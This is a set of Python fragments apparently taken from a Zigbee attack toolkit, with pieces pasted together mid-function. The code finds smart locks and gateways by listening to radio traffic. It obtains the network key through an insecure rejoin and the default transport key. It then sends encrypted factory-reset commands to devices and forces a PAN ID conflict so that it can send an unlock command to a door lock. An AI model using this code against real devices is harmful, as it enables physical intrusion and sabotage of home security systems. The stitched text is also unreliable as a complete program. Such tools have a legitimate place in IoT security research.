def scanChannels(self):
#CHANNELS = [14,15,16,17,18,19,20,21,22,23,24,25,26]
CHANNELS = [11, 12, 13, 14, 15, 16, 17,
18, 19, 20, 21, 22, 23, 24, 25, 26]
pbar = tqdm(CHANNELS)
channels_in_use = []
for channel in pbar:
self.radio.set_channel(channel)
pbar.set_description(
Color.s("{.} Listening to channel %d" % self.radio.get_channel()))
timer = Timer(10)
while(not timer.has_expired()):
frame = self.radio.receive()
if frame is not None:
tqdm.write(
Color.s("{+} Found traffic on channel %d" % channel))
channels_in_use.append(channel)
time.sleep(1)
break
pbar.update()
return channels_in_use
def wait_for_frame_counter(radio, panid, addr):
print_info("Waiting to observe a frame counter for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr))
timer = Timer(OBSERVATION_TIME)
while(not timer.has_expired()):
frame = radio.receive()
if frame is not None and Dot15d4Data in frame and frame[Dot15d4Data].src_addr==addr and frame[Dot15d4Data].dest_panid==panid and ZigbeeSecurityHeader in frame:
frame_counter = frame[ZigbeeSecurityHeader].fc
print_notify("Frame counter observed: %s" % frame_counter)
return frame_counter
print_error("Could not find the frame counter")
return None
def wait_for_extended_address(radio, panid, addr):
print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr))
timer = Timer(OBSERVATION_TIME)
while not timer.has_expired():
frame = radio.receive()
if panid==get_pan_id(frame) and addr==get_source(frame):
extended_source = get_extended_source(frame)
if extended_source is not None:
print_notify("Extended source observed: 0x%016x" % extended_source)
return extended_source
print_error("Could not find extended source")
return None
def find_locks(radio, panid=None):
result = []
trackers = dict()
last_sequence_number = dict()
if panid is not None:
print_notify("Looking at PAN ID 0x%04x for lights" % panid)
else:
print_notify("Looking for lights on the current channel")
print_info("Monitoring the network for an extended period")
timer = Timer(17)
traffic_counter = 0
while not timer.has_expired():
frame = radio.receive()
if frame is not None and not is_beacon_request(frame):
traffic_counter += 1
if is_data_request(frame) and (panid is None
or get_pan_id(frame) == panid):
pan = get_pan_id(frame)
source = get_source(frame)
if not pan in trackers.keys():
trackers[pan] = dict()
last_sequence_number[pan] = dict()
if not source in trackers[pan].keys():
trackers[pan][source] = TrackWatch()
last_sequence_number[pan][source] = -1
if last_sequence_number[pan][source] != frame[Dot15d4FCS].seqnum:
trackers[pan][source].click()
last_sequence_number[pan][source] = frame[Dot15d4FCS].seqnum
if timer.time_passed() > 5 and traffic_counter == 0:
print_info("No traffic observed for 5 seconds, giving up")
break
for pan in trackers:
for addr in trackers[pan]:
watch = trackers[pan][addr]
if watch.variance() is not None and watch.variance(
) < THRESHOLD_VARIANCE and watch.mean() > MIN_FREQUENCY:
result.append((pan, addr))
print_notify("Device 0x%04x on PAN 0x%04x resembles a lock" %
(addr, pan))
print_debug(
"Device 0x%04x on PAN 0x%04x had variance of %f and mean of %f"
% (addr, pan, watch.variance(), watch.mean()))
return result
def find_coord_addr_by_panid(radio, panid):
for attempt in range(NUMBER_OF_ATTEMPTS):
print_info("Finding the coordinator's address")
seq_num = random.randint(0, 255)
radio.send(beacon_request(seq_num=seq_num))
timer = Timer(RESPONSE_TIME_LIMIT)
while (not timer.has_expired()):
frame = radio.receive()
if is_beacon_response(frame):
if frame[Dot15d4Beacon].src_panid == panid:
addr = frame[Dot15d4Beacon].src_addr
print_info("Address found: 0x%04x" % addr)
return addr
print_error("Did not observe the target's beacon response.")
def get_pan_by_extended_pan(radio, extended_panid):
seq_iter = SequenceIterator(random.randint(0, 255))
extended_panid = extended_pan(extended_panid)
for attempt in range(NUMBER_OF_ATTEMPTS):
print_info("Sending a beacon to find the target's current PAN ID.")
radio.send(beacon_request(seq_num=seq_iter.next()))
timer = Timer(RESPONSE_TIME_LIMIT)
while not timer.has_expired():
frame = radio.receive()
if is_beacon_response(frame):
if frame[ZigBeeBeacon].extended_pan_id == extended_panid:
panid = frame[Dot15d4Beacon].src_panid
print_info("PAN ID found: 0x%04x" % panid)
return panid
print_error("Did not observe the target's beacon response.")
def insecure_rejoin_by_panid(radio, panid, src_addr=None, extended_src=None, coord_addr=None, seq_num=None, nwk_seq_num=None):
if src_addr is None:
src_addr = random.randint(0,0xfff0)
if extended_src is None:
extended_src = random.randint(0, 0xffffffffffffffff)
if coord_addr is None:
coord_addr = find_coord_addr_by_panid(radio, panid)
if seq_num is None:
seq_num = random.randint(0,255)
if nwk_seq_num is None:
nwk_seq_num = random.randint(0,255)
if coord_addr is None:
print_info("No coordinator address seen, using default of 0x0000")
coord_addr = 0x0000
dot15d4_seq_iter = SequenceIterator(initial_value=seq_num, value_limit=255)
nwk_seq_iter = SequenceIterator(initial_value=nwk_seq_num, value_limit=255)
print_notify("Attempting to join PAN ID 0x%04x using insecure rejoin" % panid)
print_info("Sending insecure rejoin")
radio.send_and_retry(insecure_rejoin(src_addr, coord_addr, panid, extended_src, seq_num=dot15d4_seq_iter.next(), nwk_seq_num=nwk_seq_iter.next()))
radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
coord_extended_src = None
print_info("Awaiting response...")
timer = Timer(RESPONSE_TIME_LIMIT)
while(not timer.has_expired()):
frame = radio.receive_and_ack(addr=src_addr, panid=panid)
if is_rejoin_response(frame):
print_notify("Rejoin response observed")
coord_extended_src = frame[ZigbeeNWK].ext_src
radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
break
if coord_extended_src is None:
print_error("No rejoin response observed")
print_info("Awaiting transport key...")
timer.reset()
while(not timer.has_expired()):
frame = radio.receive_and_ack(addr=src_addr, panid=panid)
if is_transport_key(frame):
print_notify("Transport key observed")
print_info("Attempting to decrypt the network key")
coord_extended_source_bytes = extended_address_bytes(coord_extended_src)
decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_TRANSPORT_KEY), frame, coord_extended_source_bytes)
if valid:
print_notify("Network key acquired")
network_key = bytes(decrypted)[2:18]
print_info("Extracted key is 0x%s" % network_key.hex())
return network_key
else:
print_info(str(coord_extended_source_bytes))
print_error("Network key could not be decrypted")
return None
def factory_reset(radio,
panid,
addr,
network_key,
coord_addr=None,
coord_extended_addr=None,
frame_counter=None):
if coord_addr is None:
coord_addr = find_coord_addr_by_panid(radio, panid)
if coord_extended_addr is None:
coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter(
radio, panid, coord_addr)
if frame_counter is None:
frame_counter = wait_for_frame_counter(radio, panid, coord_addr)
if coord_addr is None or coord_extended_addr is None or frame_counter is None:
print_error(
"Could not find the required data to send the factory reset request"
)
frame_counter_iter = SequenceIterator(frame_counter + 1, 0xffffffff)
sequence_number = random.randint(0, 255)
nwk_sequence_number = random.randint(0, 255)
aps_counter = random.randint(0, 255)
zcl_sequence_number = random.randint(0, 255)
print_info("Attempting to toggle light")
timer = Timer(OBSERVATION_TIME)
print_info("We're going to send a bunch of factory reset packages")
for attempts in range(20):
sequence_number = random.randint(0, 255)
nwk_sequence_number = random.randint(0, 255)
aps_counter = random.randint(0, 255)
zcl_sequence_number = random.randint(0, 255)
radio.load_frame(
encrypted_factory_reset(panid,
coord_addr,
addr,
coord_extended_addr,
network_key,
frame_counter=frame_counter_iter.next(),
seq_num=sequence_number,
nwk_seq_num=nwk_sequence_number,
aps_counter=aps_counter,
zcl_seq_num=zcl_sequence_number))
radio.fire_and_retry()
return True
def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None):
print_info("Performing PAN ID conflict")
conflict_sent = False
for attempt in range(NUMBER_OF_ATTEMPTS):
seq_num = random.randint(0, 255)
seq_iter = SequenceIterator(seq_num)
radio.send(beacon_request(seq_num=seq_iter.next()))
timer = Timer(RESPONSE_TIME_LIMIT)
while not timer.has_expired():
frame = radio.receive()
if is_beacon_response(frame):
if frame[Dot15d4FCS].src_panid == panid:
print_info("Network observed, sending conflict")
current_seq_num = seq_iter.next()
radio.send(beacon_response(panid, seq_num=current_seq_num))
radio.send(beacon_response(panid, seq_num=current_seq_num))
break
if network_key is not None and coord_ext_addr is not None:
timer.reset()
print_info(
"Verifying the conflict took by looking for the network update"
)
while not timer.has_expired():
frame = radio.receive()
if frame is not None and ZigbeeSecurityHeader in frame:
coord_ext_addr_bytes = extended_address_bytes(
coord_ext_addr)
decrypted, valid = crypto_utils.zigbee_packet_decrypt(
network_key, frame, coord_ext_addr_bytes)
if valid:
if bytes(decrypted)[0] == 0x0a:
print_info(
"Network update observed. PAN conflict worked")
return True
print_error(
"Did not observe a network update. PAN conflict likely failed")
return False
return True
required=True,
help='Channel to use')
parser.add_argument('-w',
'--wireshark',
action='store_true',
dest='wireshark',
required=False,
help='See all traffic in wireshark')
args = parser.parse_args()
logo = Logo()
logo.print()
hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)
if args.wireshark:
wireshark = WiresharkObserver()
radio.add_observer(wireshark)
radio.set_channel(args.channel)
print_notify("Sending the beacon request")
radio.send(beacon_request(random.randint(0, 255)))
timer = Timer(5)
while not timer.has_expired():
radio.receive()
radio.off()
import sys
sys.path.append(os.getcwd() + "/zigdiggity")
import time
import argparse
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
import zigdiggity.observers.utils as observer_utils
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *
from zigdiggity.interface.console import print_notify
from zigdiggity.interface.components.logo import Logo
from zigdiggity.misc.timer import Timer
logo = Logo()
logo.print()
hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)
observer_utils.register_wireshark(radio)
CHANNELS = [11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]
for channel in CHANNELS:
radio.set_channel(channel)
print_notify("Listening to channel %d" % radio.get_channel())
timer = Timer(10)
while (not timer.has_expired()):
result = radio.receive()
def unlock_lock(radio,
panid,
addr,
network_key,
coord_addr=None,
coord_extended_addr=None,
frame_counter=None):
if coord_addr is None:
coord_addr = find_coord_addr_by_panid(radio, panid)
if coord_extended_addr is None:
coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter(
radio, panid, coord_addr)
if frame_counter is None:
frame_counter = wait_for_frame_counter(radio, panid, coord_addr)
if coord_addr is None or coord_extended_addr is None or frame_counter is None:
print_error(
"Could not find the required data to send the unlock request")
frame_counter_iter = SequenceIterator(frame_counter + 1, 0xffffffff)
sequence_number = random.randint(0, 255)
nwk_sequence_number = random.randint(0, 255)
aps_counter = random.randint(0, 255)
zcl_sequence_number = random.randint(0, 255)
print_info("Attempting to unlock lock")
timer = Timer(OBSERVATION_TIME)
conflict_succeeded = False
for attempt in range(3):
# it is going to be more reliable if we sync the conflict with the device's data request to avoid having it see the network change packet
while not timer.has_expired():
frame = radio.receive()
if is_data_request(frame) and get_source(frame) == addr:
if pan_conflict_by_panid(radio,
panid,
network_key=network_key,
coord_ext_addr=coord_extended_addr):
conflict_succeeded = True
break
if conflict_succeeded:
break
timer.reset()
if conflict_succeeded:
print_info("Waiting 4 seconds for the conflict to resolve")
timer = Timer(4)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
radio.load_frame(
encrypted_unlock(panid,
coord_addr,
addr,
coord_extended_addr,
network_key,
frame_counter=frame_counter_iter.next(),
seq_num=sequence_number,
nwk_seq_num=nwk_sequence_number,
aps_counter=aps_counter,
zcl_seq_num=zcl_sequence_number))
data_request_counter = 0
timer = Timer(1)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
print_info("Waiting for the lock to send a couple data requests")
unlock_sent = False
timer = Timer(OBSERVATION_TIME)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
if is_data_request(frame):
data_request_counter += 1
if data_request_counter == 2:
print_notify("Sending unlock command")
radio.fire_and_retry()
unlock_sent = True
break
return unlock_sent
else:
print_info(
"We're going to send a bunch of unlock requests and hope one goes through"
)
for attempts in range(20):
radio.load_frame(
encrypted_unlock(panid,
coord_addr,
addr,
coord_extended_addr,
network_key,
frame_counter=frame_counter_iter.next(),
seq_num=sequence_number,
nwk_seq_num=nwk_sequence_number,
aps_counter=aps_counter,
zcl_seq_num=zcl_sequence_number))
timer = Timer(OBSERVATION_TIME)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
if is_data_request(frame):
print_notify("Sending unlock command")
radio.fire_and_retry()
break
return True
def findLights(self, channel):
self.radio.set_channel(channel)
print_notify("Sending beacon on on channel %d" %
self.radio.get_channel())
result = []
trackers = dict()
last_sequence_number = dict()
print_notify("Looking for lights on the current channel")
print_info("Monitoring the network for an extended period")
timer = Timer(17)
traffic_counter = 0
while not timer.has_expired():
frame = self.radio.receive()
if frame is not None and not is_beacon_request(frame):
traffic_counter += 1
if is_data_frame(frame):
pan = get_pan_id(frame)
source = get_source(frame)
if not pan in trackers.keys():
trackers[pan] = dict()
last_sequence_number[pan] = dict()
if not source in trackers[pan].keys():
trackers[pan][source] = TrackWatch()
last_sequence_number[pan][source] = -1
if last_sequence_number[pan][source] != frame[
Dot15d4FCS].seqnum:
trackers[pan][source].click()
last_sequence_number[pan][source] = frame[
Dot15d4FCS].seqnum
if timer.time_passed() > 15 and traffic_counter == 0:
print_info("No traffic observed for 15 seconds, giving up")
break
# print(trackers.keys())
# print(last_sequence_number)
gateways = dict()
for pan in trackers:
min_var = 0
gateway = None
for addr in trackers[pan]:
watch = trackers[pan][addr]
if watch.variance() is not None and abs(watch.variance(
) - watch.mean()) > min_var or gateway is None:
min_var = watch.variance()
gateway = addr
result.append((pan, addr))
print_debug(
"Device 0x%04x on PAN 0x%04x had variance of %f and mean of %f"
% (addr, pan, watch.variance(), watch.mean()))
gateways[pan] = gateway
print_notify(
"Device 0x%04x on PAN 0x%04x possibly resembles a gateway" %
(gateway, pan))
result = dict()
result[pan] = dict()
result[pan]['devices'] = list(trackers[pan].keys())
result[pan]['last_sequence_number'] = last_sequence_number[pan]
result[pan]['coordinator'] = gateways[pan]
# print(result)
return result